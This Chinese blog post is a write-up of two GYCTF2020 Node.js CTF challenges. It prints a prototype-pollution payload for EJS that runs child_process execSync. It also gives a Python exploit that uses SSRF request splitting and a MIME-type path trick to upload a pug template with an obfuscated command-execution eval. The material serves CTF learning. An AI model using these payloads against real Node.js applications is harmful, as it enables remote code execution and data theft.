GYCTF2020两道NodeJS题

GYCTF2020两道NodeJS题

Ez_Express

考点:

  • NodeJS 代码审计
  • nodejs大小写特性
  • 原型链污染
  • 模板渲染

利用toUpperCase()去登录,js大小写特性

%title插图%num

%title插图%num

先看/action路由,clone函数将我们传的数据放入req这个对象

%title插图%num

/路由,res.outputFunctionName为undefine

%title插图%num

漏洞利用见这篇文章:

Express+lodash+ejs: 从原型链污染到RCE

/info路由,将res.outputFunctionName渲染到index路由

%title插图%num

思路就是通过污染outputFunctionName去进行ssti

通过抓包/action路由,由于使用了json解析包,所以构造payload:

{"lua":"y","__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

Node Game

考点:

  • NodeJS 代码审计
  • SSRF
  • CSRF
  • 模板渲染

通过remoteaddress判断ip,无法去伪造,所以要利用一个ssrf

%title插图%num

/core路由,可以传入一个q参数,然后服务器去请求,有个黑名单过,这里就存在一个SSRF了,可以通过这个点,来进行一个拆分请求,从而可以利用刚刚的文件上传点,拆分请求SSRF参考这个链接

x HTTP/1.1\r\n\r\nGET /flag HTTP/1.1\r\nadminauth: secretpassword\r\npug: #{xxx}\r\n

----------------------------------------------------------------------------------------------------------

GET /core?q=x HTTP/1.1

GET /flag HTTP/1.1
adminauth: secretpassword
pug: #{xxx}
var file_path = '/uploads/' + req.files[0].mimetype +"/";

这段代码是将获取的上传文件,根据其传过去的 MIME 类型保存到指定目录

%title插图%num

由于MIME可控,导致上传路径可控,也就是说可以进行任意目录的一个文件上传。然后是在action参数的一个地方,会把我们上传到template目录下面的pug文件进行一个渲染并且返回,所以说我们如果往这个目录上传文件中有一些命令的话是会执行的,这里我们使用文件包含的操作。往template目录下面上传一个pug文件来包含在根目录下面的flag,然后通过访问?action=文件名,来进行这个操作,返回这个flag

pug是nodejs的模板引擎,表达式形式为#{}(#因为其在url中特殊用途,所以需要一些再次编码),还能够使用- code

抄的大师傅的exp:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLMnBk8H5CF9e7Jky

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundaryLMnBk8H5CF9e7Jky
Content-Disposition: form-data; name="file"; filename="y.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundaryLMnBk8H5CF9e7Jky--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

requests.get(
    'http://dfa57c56-ec39-4ca5-9918-a156bf9f87a1.node4.buuoj.cn:81/core?q=' + payload)

print(requests.get(
    'http://dfa57c56-ec39-4ca5-9918-a156bf9f87a1.node4.buuoj.cn:81/?action=y').text)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇